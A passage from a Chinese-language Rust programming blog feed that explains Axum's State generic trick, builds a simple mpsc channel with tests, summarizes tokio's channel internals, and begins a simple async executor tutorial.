出去。</p><p>连接上的读写、解码等均由 hyper 负责，最后 hyper 使用将解码好的 <code>http::Request</code> 调用我们传入的 Service，即 Router。</p><p><img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/d5ca9efa-719c-4cad-ba94-ec329ad91c24/Untitled.png" alt="Untitled"></p><h1 id="Router-和-State-的泛型-trick"><a href="#Router-和-State-的泛型-trick" class="headerlink" title="Router 和 State 的泛型 trick"></a>Router 和 State 的泛型 trick</h1><p>到这里本文已经基本分析完了：</p><ol><li>如何约束 Handler</li><li>如何做路由查找与路由管理</li><li>如何支持共享状态</li></ol><p>在阅读代码过程中，注意到 Axum 的有关 State 泛型的 trick，感觉很有新意。</p><p>如果你认真阅读了前面有关共享状态的部分，那么你会发现我的写法是这样的：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">index</span>() <span class="punctuation">-&gt;</span> <span class="type">String</span> &#123; ... &#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> <span class="variable">route</span> = Route::<span class="title function_ invoke__">new</span>(state).<span class="title function_ invoke__">route</span>(<span class="string">&quot;index&quot;</span>, <span class="title function_ invoke__">get</span>(index));</span><br></pre></td></tr></table></figure><p>而 Axum 里支持这种做法：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="variable">route</span> = Route::<span class="title function_ invoke__">new</span>()</span><br><span class="line">    .<span class="title function_ invoke__">route</span>(<span class="string">&quot;1&quot;</span>, <span class="title function_ invoke__">get</span>(index1))</span><br><span class="line">    .<span class="title function_ invoke__">with_state</span>(s1)</span><br><span class="line">    .<span class="title function_ invoke__">route</span>(<span class="string">&quot;2&quot;</span>, <span class="title function_ invoke__">get</span>(index2))</span><br><span class="line">    .<span class="title function_ invoke__">route</span>(<span class="string">&quot;2&quot;</span>, <span class="title function_ invoke__">post</span>(index2))</span><br><span class="line">    .<span class="title function_ invoke__">with_state</span>(s2)</span><br><span class="line">    .<span class="title function_ invoke__">route</span>(<span class="string">&quot;3&quot;</span>, <span class="title function_ invoke__">post</span>(index3))</span><br><span class="line">    .<span class="title function_ invoke__">with_state</span>(s3)</span><br></pre></td></tr></table></figure><p>Axum 中可以以链式的形式串起来不同的 Handler 和 State。这是怎么实现的呢？</p><p>Router 的 new 方法都没有对 S 加直接约束，也就是说可以理解为这里的 S 是 Any。当调用 route 方法时，Handler 实现可能会对 S 产生约束（也可能不产生）。在调用 with_state 方法时，S 的类型会被确定下来，此时：</p><ol><li>会检查这个 S 能不能满足前面的约束</li><li>重置泛型 S 为 S2（即清空关联，清空约束）</li></ol><p>最终在使用 router 时，会调用 into_make_service 并且会约束 Router 实现 Service，而这两个实现都是对 <code>Router&lt;()&gt;</code> 的实现，即 **S 可以为 ()**。</p><p>我们考虑下面几种情况：</p><ol><li>前面注册的 handler 约束了 S，但没有 <code>with_state</code>：此时对 S 有约束（这个约束正常人不会写成 ()，否则没有意义），那么 S 就不可能为 ()，所以如果忘了附加 state 或者附加的 state 不对，那么就会编译失败。</li><li>前面注册的 handler 没有约束 S，也没有 <code>with_state</code>：此时对 S 没有约束，所以 S 可以为 ()，那么即便没有调用 with_state ，一样是能编译通过的。</li><li>前面注册的 handler 约束了 S，最后又 <code>with_state</code>：这时 with_state 将 S 约束清空，所以 S 可以为 ()，编译通过。</li><li>和前面的例子一样链式调用：每次 <code>with_state</code> 都会清空前面的约束，并在再次 <code>.route</code> 的时候添加约束，但只要最终是 <code>with_state</code> 或最后的一系列 <code>.route</code> 没有对 S 加以限制，那么 S 就可以为 ()，编译通过。</li></ol><p>通过这种 trick，Axum 中做到了 State 的静态检查，并支持在没有用到 State 的时候无需附加 State。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Author: &lt;a href=&quot;https://github.com/suikammd&quot;&gt;suikammd&lt;/a&gt; &lt;a href=&quot;https://github.com/ihciah&quot;&gt;ihciah&lt;/a&gt;&lt;br&gt;一个 HTTP Server 内部包括很多部分：协议实现（h1、h2、压缩等）、连接状态管理（keepalive）、请求分发、中间件、业务逻辑等。用户可以全部自行实现，但其实除了业务逻辑之外的部分都是较为通用的能力。我们将这些通用能力与用户的业务逻辑解耦，即 HTTP 框架。&lt;/p&gt;
&lt;p&gt;由于 Rust 生态中 hyper 已经提供了较为完备的 HTTP 协议实现，基于 hyper 实现 HTTP 框架就只需要提供包括路由、共享状态、中间件等能力。&lt;/p&gt;
&lt;p&gt;本文从 HTTP 框架的设计角度，以新版本 Axum 作为例子，分析 Rust 下 HTTP 框架如何提供合理抽象与类型约束。基于 Rust 强大的类型系统，我们可以写出高效且正确的代码。&lt;/p&gt;</summary>
    
    
    
    
    <category term="rust" scheme="https://suikammd.github.io/zh-Hans/tags/rust/"/>
    
  </entry>
  
  <entry>
    <title>实现一个简单的 channel &amp; 介绍下 tokio channel 的实现</title>
    <link href="https://suikammd.github.io/zh-Hans/2021/11/20/rust-simple-channel/"/>
    <id>https://suikammd.github.io/zh-Hans/2021/11/20/rust-simple-channel/</id>
    <published>2021-11-20T08:12:23.000Z</published>
    <updated>2026-11-19T12:58:15.313Z</updated>
    
    <content type="html"><![CDATA[<p>Golang 并发编程的核心数据结构就是 channel 了，核心观点是通过通信来共享内存，而不是通过共享内存来通信。channel 确实好用，避免了直接写各种复杂的通信原语，在 rust 中当然也有相应的实现，tokio channel 的实现非常巧妙，很值得学习。本文目的是简单介绍下 channel 的基本概念，然后实现一个最简版 mpsc unbuffered channel ，最后再介绍下 tokio 里 channel 的实现</p><h1 id="最简版-rust-channel-实现"><a href="#最简版-rust-channel-实现" class="headerlink" title="最简版 rust channel 实现"></a>最简版 rust channel 实现</h1><p>这一部分实现一个最简版 channel ，这里的 channel 是一个有着无限 buffer 的 channel ，允许多个写入者，并且写入 channel 的操作永远不会阻塞，但是如果 channel 是空的，从 channel 消费数据的消费者会被阻塞，这里其实就是实现一个 mpsc unbuffered channel。本部分参考了 <a href="https://time.geekbang.org/column/article/445814">陈天 · Rust编程第一课 35 讲</a>，陈天这一课讲得非常通俗易懂，以 TDD 的模式，从接口测试样例开始，逐步完成整个 channel 的设计。这里同样也这么做，采用 TDD 模式，并且对齐标准库的 mspc 的接口。</p><span id="more"></span><h2 id="channel-功能及实现"><a href="#channel-功能及实现" class="headerlink" title="channel 功能及实现"></a>channel 功能及实现</h2><p>我们预期实现这些功能</p><ol><li>sender 产生数据， receiver 消费数据</li><li>允许多个 sender</li><li>channel 为空</li><li>sender 全部退出</li><li>receiver 退出</li></ol><h3 id="sender-产生数据，-receiver-消费数据"><a href="#sender-产生数据，-receiver-消费数据" class="headerlink" title="sender 产生数据， receiver 消费数据"></a>sender 产生数据， receiver 消费数据</h3><p>同样采用 TDD 的模式，先考虑我们需要有哪些功能，假定功能已经实现了，编写相应的 test</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#[test]</span></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">test_chanel_basic</span>() &#123;</span><br><span class="line">  <span class="keyword">let</span> (<span class="keyword">mut</span> s, <span class="keyword">mut</span> r) = <span class="title function_ invoke__">unbounded</span>();</span><br><span class="line">  s.<span class="title function_ invoke__">send</span>(<span class="number">1</span>).<span class="title function_ invoke__">unwrap</span>();</span><br><span class="line">  <span class="built_in">assert_eq!</span>(r.<span class="title function_ invoke__">recv</span>().<span class="title function_ invoke__">unwrap</span>(), <span class="number">1</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>通过 unbounded 创建 channel ，拿到相应的 sender 和 receiver ，sender 通过 send 发送数据 ，receiver 通过 recv 接收数据。为什么需要 unwrap ？在 receiver 被 drop 或者 sender 全部被 drop 的时候，相应的发送和接受需要返回 Error</p><p>简单起见，我们可以直接用 VecDeque 实现，由于 sender 和 receiver 需要共同修改这个 buffer ，所以需要加锁；由于需要在不同 thread 之间共享，sender、receiver 需要通过 Arc 持有 Shared</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">Shared</span>&lt;T&gt; &#123;</span><br><span class="line">    inner: Mutex&lt;VecDeque&lt;T&gt;&gt;,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">Sender</span>&lt;T&gt; &#123;</span><br><span class="line">    inner: Arc&lt;Shared&lt;T&gt;&gt;,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">Receiver</span>&lt;T&gt; &#123;</span><br><span class="line">    inner: Arc&lt;Shared&lt;T&gt;&gt;,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="允许多个-sender"><a href="#允许多个-sender" class="headerlink" title="允许多个 sender"></a>允许多个 sender</h3><p>通过 unbounded 只能拿到一个 sender ，如果支持多个 sender 就意味着 sender 需要实现 Clone</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#[test]</span></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">test_clone</span>() &#123;</span><br><span class="line">  <span class="keyword">let</span> (<span class="keyword">mut</span> s, <span class="keyword">mut</span> r) = <span class="title function_ invoke__">unbounded</span>();</span><br><span class="line">  <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">s1</span> = s.<span class="title function_ invoke__">clone</span>();</span><br><span class="line">  <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">s2</span> = s.<span class="title function_ invoke__">clone</span>();</span><br><span class="line">  s.<span class="title function_ invoke__">send</span>(<span class="number">1</span>).<span class="title function_ invoke__">unwrap</span>();</span><br><span class="line">  s1.<span class="title function_ invoke__">send</span>(<span class="number">2</span>).<span class="title function_ invoke__">unwrap</span>();</span><br><span class="line">  s2.<span class="title function_ invoke__">send</span>(<span class="number">3</span>).<span class="title function_ invoke__">unwrap</span>();</span><br><span class="line">  </span><br><span class="line">  <span class="built_in">assert_eq!</span>(<span class="number">1</span>, r.<span class="title function_ invoke__">recv</span>().<span class="title function_ invoke__">unwrap</span>());</span><br><span class="line">  <span class="built_in">assert_eq!</span>(<span class="number">2</span>, r.<span class="title function_ invoke__">recv</span>().<span class="title function_ invoke__">unwrap</span>());</span><br><span class="line">  <span class="built_in">assert_eq!</span>(<span class="number">3</span>, r.<span class="title function_ invoke__">recv</span>().<span class="title function_ invoke__">unwrap</span>());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="channel-为空"><a href="#channel-为空" class="headerlink" title="channel 为空"></a>channel 为空</h3><p>channel 为空时需要阻塞消费者，那么消费者需要如何被唤醒呢？通过 Condvar ！Condvar 可以阻塞当前线程，然后等待事件发生再唤醒当前线程，这个等待不会占用额外的 cpu，Condvar wait 参数时 MutexGuard ，在 wait 的时候会释放掉锁，在被 notify 或者 notify_all 的时候又会重新获取锁，使用者不用担心锁的问题，感觉挺有意思的，具体实现可以之后详细研究下</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">Shared</span>&lt;T&gt; &#123;</span><br><span class="line">    inner: Mutex&lt;VecDeque&lt;T&gt;&gt;,</span><br><span class="line">    available: Condvar,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>那么 test 该如何写呢？我们可以让 receiver 不停消费，消费完一批数据之后，等待一段时间，sender 再发送一批数据，receiver 可以继续消费。因为 receiver 只有一个，我们为 receiver 实现 Iterator 会非常有用</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#[test]</span></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">test_receiver_block</span>() &#123;</span><br><span class="line">    <span class="keyword">let</span> (<span class="keyword">mut</span> s, <span class="keyword">mut</span> r) = <span class="title function_ invoke__">unbounded</span>();</span><br><span class="line">    </span><br><span class="line">    thread::<span class="title function_ invoke__">spawn</span>(<span class="keyword">move</span> || &#123;</span><br><span class="line">      <span class="title function_ invoke__">for</span> (idx, i) <span class="keyword">in</span> r.<span class="title function_ invoke__">into_iter</span>().<span class="title function_ invoke__">enumerate</span>() &#123;</span><br><span class="line">        <span class="built_in">assert_eq!</span>(idx, i)</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> <span class="variable">i</span> <span class="keyword">in</span> <span class="number">0</span>..<span class="number">100usize</span> &#123;</span><br><span class="line">      s.<span class="title function_ invoke__">send</span>(i).<span class="title function_ invoke__">unwrap</span>();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    thread::<span class="title function_ invoke__">sleep</span>(Duration::<span class="title function_ invoke__">from_millis</span>(<span class="number">1</span>));</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> <span class="variable">i</span> <span class="keyword">in</span> <span class="number">100</span>..<span class="number">200usize</span> &#123;</span><br><span class="line">      s.<span class="title function_ invoke__">send</span>(i).<span class="title function_ invoke__">unwrap</span>();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="sender-全部退出"><a href="#sender-全部退出" class="headerlink" title="sender 全部退出"></a>sender 全部退出</h3><p>sender 全部退出的时候，receiver recv 需要报错，简单的做法是保存 sender 的数量。在新的 sender 被创建 &#x2F; clone 出来的时候，数量+1 ，sender 被 drop 的时候数量 -1 ，因此我们需要为 sender 实现自定义 Drop 方法，并且在 sender 数量变为 0 的时候，通知正在等待的 receiver 退出。下面就是最终的结构了，虽然不够高效，但是对于普通的 thread 级别的共享 channel 而言已经是一个可以 work 的版本了</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">Shared</span>&lt;T&gt; &#123;</span><br><span class="line">    inner: Mutex&lt;VecDeque&lt;T&gt;&gt;,</span><br><span class="line">    available: Condvar,</span><br><span class="line">    sender_cnt: AtomicUsize,</span><br><span class="line">    receiver_cnt: AtomicUsize,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>test 可以这么写</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#[test]</span></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">test_no_send</span>() &#123;</span><br><span class="line">    <span class="keyword">let</span> (s, r) = <span class="title function_ invoke__">unbounded</span>();</span><br><span class="line">    <span class="title function_ invoke__">drop</span>(s);</span><br><span class="line">    <span class="built_in">assert!</span>(r.<span class="title function_ invoke__">recv</span>().<span class="title function_ invoke__">is_err</span>());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="receiver-退出"><a href="#receiver-退出" class="headerlink" title="receiver 退出"></a>receiver 退出</h3><p>同上，receiver 退出的时候，receiver 对应的 receiver_cnt 需要减 -1，sender send 的时候，如果发现 receiver 全部退出，也需要报错。test 如下</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#[test]</span></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">test_no_receiver</span>() &#123;</span><br><span class="line">    <span class="keyword">let</span> (s, _) = <span class="title function_ invoke__">unbounded</span>();</span><br><span class="line">    <span class="built_in">assert!</span>(s.<span class="title function_ invoke__">send</span>().<span class="title function_ invoke__">is_err</span>());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>其他更详细的内容可以参考陈天老师的极客时间课程。我们也可以延伸下，如果想做一个粗糙的 mpsc bounded channel，只需要简单再增加一个 condvar 就可以了，两个 condvar 一个表示 buffer 中有数据可读，一个表示有数据可写。不过通过 condvar 粒度太大了，我们可以通过信号量，sender 想要发送数据的时候需要拿到 permit 才能发，不然只能等着</p><h1 id="tokio-channel-实现介绍"><a href="#tokio-channel-实现介绍" class="headerlink" title="tokio channel 实现介绍"></a>tokio channel 实现介绍</h1><p>上面介绍的只是一个 toy channel ，生产环境下对 channel 性能有着更高的要求</p><h2 id="底层数据结构"><a href="#底层数据结构" class="headerlink" title="底层数据结构"></a>底层数据结构</h2><p>tokio 里面的 channel 实现非常巧妙，channel 底层是由链表构成的，每个链表上的元素叫做 block ，block 可以存放 channel 的多个元素。当尝试读数据的时候，会从链表的头部开始读，当某个 block 被读完的时候，会被重置放到链表的尾部，可以节省内存分配的消耗；当尝试写数据的时候，会从链表的尾部开始写，当前 block 不足的时候会分配新的 block 或者使用被重置的 block。整个结构图如下所示，代码里有很多细节值得参考。</p><p><img src="https://i.imgur.com/yf90RXv.png" alt="tokio-channel-implemantation"></p><h2 id="unbounded-channel"><a href="#unbounded-channel" class="headerlink" title="unbounded channel"></a>unbounded channel</h2><p><img src="https://i.imgur.com/P5hmu2h.png" alt="tokio-channel-waker"></p><h3 id="写入数据"><a href="#写入数据" class="headerlink" title="写入数据"></a>写入数据</h3><p>sender 向 channel 写数据无非就是操作底层数据结构，主要是找到当前可以写入的 block 的相应的位置，然后向该位置写入数据，数据写入之后，如果有等待读取数据的 receiver ，则会通过 waker 唤醒这个 receiver</p><ul><li><p>sender 实现了 clone ，并且这些 sender 都可以被安全的传递到其他线程中，如果有并发发送数据的情况，是否需要加锁呢？</p><p>答案是不用的，每个 sender 知道自己要写入哪个位置就可以了，也就是通过 tail_position 这个 AtomiUsize 类型的变量来共享下一次写入位置，每次写入只要 fetch_add + 1 即可</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/// List queue transmit handle.</span></span><br><span class="line"><span class="title function_ invoke__">pub</span>(<span class="keyword">crate</span>) <span class="keyword">struct</span> <span class="title class_">Tx</span>&lt;T&gt; &#123;</span><br><span class="line">    <span class="comment">/// Tail in the `Block` mpmc list.</span></span><br><span class="line">    block_tail: AtomicPtr&lt;Block&lt;T&gt;&gt;,</span><br><span class="line"></span><br><span class="line">    <span class="comment">/// Position to push the next message. This references a block and offset</span></span><br><span class="line">    <span class="comment">/// into the block.</span></span><br><span class="line">    tail_position: AtomicUsize,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li><li><p>唤醒 receiver</p><p>在 receiver 拿不到数据的时候，会注册 waker 到底层的 channel 。在有数据的可读的时候，通过这个 waker 唤醒注册它的 receiver</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">pub</span>(<span class="keyword">crate</span>) <span class="keyword">struct</span> <span class="title class_">AtomicWaker</span> &#123;</span><br><span class="line">    state: AtomicUsize,</span><br><span class="line">    waker: UnsafeCell&lt;<span class="type">Option</span>&lt;Waker&gt;&gt;,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li></ul><h3 id="读取数据"><a href="#读取数据" class="headerlink" title="读取数据"></a>读取数据</h3><p>receiver 尝试从 channel 中读数据，如果读得到就会退出，读不到就会把 waker 注册到 channel </p><h2 id="bounded-channel"><a href="#bounded-channel" class="headerlink" title="bounded channel"></a>bounded channel</h2><p>与 unbounded channel 相比，写入数据可能也会被阻塞。这里我们需要关注，如何在可写时如何唤醒 sender ，在可读时如何唤醒 receiver，唤醒 receiver 的逻辑大致同 unbounded channel，因此先略过。sender 如何被阻塞呢？简单概括下是通过信号量，sender 想要发送数据的时候需要拿到一个“允许”发送的许可，不然只能被阻塞。与 unbounded channel 相比，bounded receiver 消费了数据之后，还要增加 permit ，唤醒 waitlist 里在等待写入数据的 sender 。这里只是大致了解了下实现，没有深究，以后有更多时间了会再补充进去。</p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>这篇文档简单介绍了基于 VecDeque 实现一个简单的 channel ，这个 channel 是 thread 级别的，有大粒度的锁，性能比较拉垮。tokio channel 的实现有很多值得借鉴的地方，代码还是很值得仔细品味的。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Golang 并发编程的核心数据结构就是 channel 了，核心观点是通过通信来共享内存，而不是通过共享内存来通信。channel 确实好用，避免了直接写各种复杂的通信原语，在 rust 中当然也有相应的实现，tokio channel 的实现非常巧妙，很值得学习。本文目的是简单介绍下 channel 的基本概念，然后实现一个最简版 mpsc unbuffered channel ，最后再介绍下 tokio 里 channel 的实现&lt;/p&gt;
&lt;h1 id=&quot;最简版-rust-channel-实现&quot;&gt;&lt;a href=&quot;#最简版-rust-channel-实现&quot; class=&quot;headerlink&quot; title=&quot;最简版 rust channel 实现&quot;&gt;&lt;/a&gt;最简版 rust channel 实现&lt;/h1&gt;&lt;p&gt;这一部分实现一个最简版 channel ，这里的 channel 是一个有着无限 buffer 的 channel ，允许多个写入者，并且写入 channel 的操作永远不会阻塞，但是如果 channel 是空的，从 channel 消费数据的消费者会被阻塞，这里其实就是实现一个 mpsc unbuffered channel。本部分参考了 &lt;a href=&quot;https://time.geekbang.org/column/article/445814&quot;&gt;陈天 · Rust编程第一课 35 讲&lt;/a&gt;，陈天这一课讲得非常通俗易懂，以 TDD 的模式，从接口测试样例开始，逐步完成整个 channel 的设计。这里同样也这么做，采用 TDD 模式，并且对齐标准库的 mspc 的接口。&lt;/p&gt;</summary>
    
    
    
    
    <category term="rust" scheme="https://suikammd.github.io/zh-Hans/tags/rust/"/>
    
  </entry>
  
  <entry>
    <title>实现一个简单的 rust executor</title>
    <link href="https://suikammd.github.io/zh-Hans/2021/09/28/simple-executor/"/>
    <id>https://suikammd.github.io/zh-Hans/2021/09/28/simple-executor/</id>
    <published>2021-09-28T13:35:33.000Z</published>
    <updated>2026-11-19T12:58:15.314Z</updated>
    
    <content type="html"><![CDATA[<p>本文大部分内容参考 <a href="https://rust-lang.github.io/async-book/01_getting_started/01_chapter.html">aysnc-book</a>，介绍了如何实现一个简单的 executor，项目地址 <a href="https://github.com/suikammd/simple-executor">simple-executor</a>。</p><p>Rust 异步编程涉及到三个比较重要的概念： Future 、 executor 和 reactor 。executor 在 poll Future 的时候，会传递给 Future 一个 waker ，之后由reactor 会等待 Future 涉及的 event ，在 event 完成的时候再通过这个 waker 唤醒 executor 来继续执行这个 Future。</p><h1 id="Future"><a href="#Future" class="headerlink" title="Future"></a>Future</h1><p>Rust 异步编程的核心是 <code>Future</code> trait。Future trait 有一个关联类型 Output ，它就是 Future 完成的时返回的结果。executor 会逐步 poll 这个 Future，直到 Future 完成</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">Future</span> &#123;</span><br><span class="line">    <span class="meta">#[stable(feature = <span class="string">&quot;futures_api&quot;</span>, since = <span class="string">&quot;1.36.0&quot;</span>)]</span></span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Output</span>;</span><br><span class="line"></span><br><span class="line">    <span class="meta">#[lang = <span class="string">&quot;poll&quot;</span>]</span></span><br><span class="line">    <span class="meta">#[stable(feature = <span class="string">&quot;futures_api&quot;</span>, since = <span class="string">&quot;1.36.0&quot;</span>)]</span></span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">poll</span>(<span class="keyword">self</span>: Pin&lt;&amp;<span class="keyword">mut</span> <span class="keyword">Self</span>&gt;, cx: &amp;<span class="keyword">mut</span> Context&lt;<span class="symbol">&#x27;_</span>&gt;) <span class="punctuation">-&gt;</span> Poll&lt;<span class="keyword">Self</span>::Output&gt;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>当提交 Future 给 executor 的时候，executor 会 poll 这个 Future，如果返回 <code>Poll::Ready(Result)</code>，这个 Future 就结束了，否则返回 <code>Poll::Pending</code> 的话，就需要在 Future 下次可以 poll 的时候重新把 Future 提交给 executor，做这件事的其实就是通过调用 Waker 的 wake 方法</p><span id="more"></span><h2 id="Waker-是什么"><a href="#Waker-是什么" class="headerlink" title="Waker 是什么"></a>Waker 是什么</h2><p>当一个 task 可以执行的时候，Waker 负责唤醒这个 task ，把这个 task 提交给 executor ，比如通过使用 Waker 的 wake 或者 wake_by_ref 方法，区别是 wake 方法会吃掉 waker 的所有权</p><h2 id="实现一个-TimerFuture"><a href="#实现一个-TimerFuture" class="headerlink" title="实现一个 TimerFuture"></a>实现一个 TimerFuture</h2><h3 id="定义-TimerFuture"><a href="#定义-TimerFuture" class="headerlink" title="定义 TimerFuture"></a>定义 TimerFuture</h3><p>下面实现一个简单的 TimerFuture 。简单起见，这里在初始化 Timer 的时候，就会 spwan 出去一个线程，sleep 指定时间之后，会重新将 Timer 提交给 executor，所以这时候需要一个状态来表示 sleep 是否结束，还需要存一个 Waker，用来在 sleep 结束后重新提交 Timer 。定义如下：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">TimerFuture</span> &#123;</span><br><span class="line">  completed: <span class="type">bool</span>,</span><br><span class="line">  waker: <span class="type">Option</span>&lt;Waker&gt;,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>由于我们需要在另一个线程修改 TimerFuture 的状态 completed，并且在完成的时候通过 waker 再提交 Future 给 executor，所以我们可以把这两个字段封装起来</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">Inner</span> &#123;</span><br><span class="line">  completed: <span class="type">bool</span>,</span><br><span class="line">  waker: <span class="type">Option</span>&lt;Waker&gt;,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">TimerFuture</span> &#123;</span><br><span class="line">  inner: Inner</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>由于我们要跨线程共享和修改，所以还需要 Arc 和 Mutex 包一下</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">TimerFuture</span> &#123;</span><br><span class="line">  inner: Arc&lt;Mutex&lt;Inner&gt;&gt;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>到此为止一个简单的 TimerFuture 结构体我们就定义出来了。接下来，就要为 TimerFuture 实现 Future trait 了</p><h3 id="实现-Future-trait"><a href="#实现-Future-trait" class="headerlink" title="实现 Future trait"></a>实现 Future trait</h3><p>我们不需要 TimerFuture 产生什么结果，所以关联类型 Output 直接写成空元组 <code>()</code> 就可以了。poll 的时候判断下 completed 的状态，如果是 true ，就返回 <code>Poll::Ready(())</code> ，否则返回 Pending ，同时将 context 的 waker 复制给 TimerFuture 的 waker，以便再 sleep 结束的时候可以通过 waker 唤醒本 task</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span 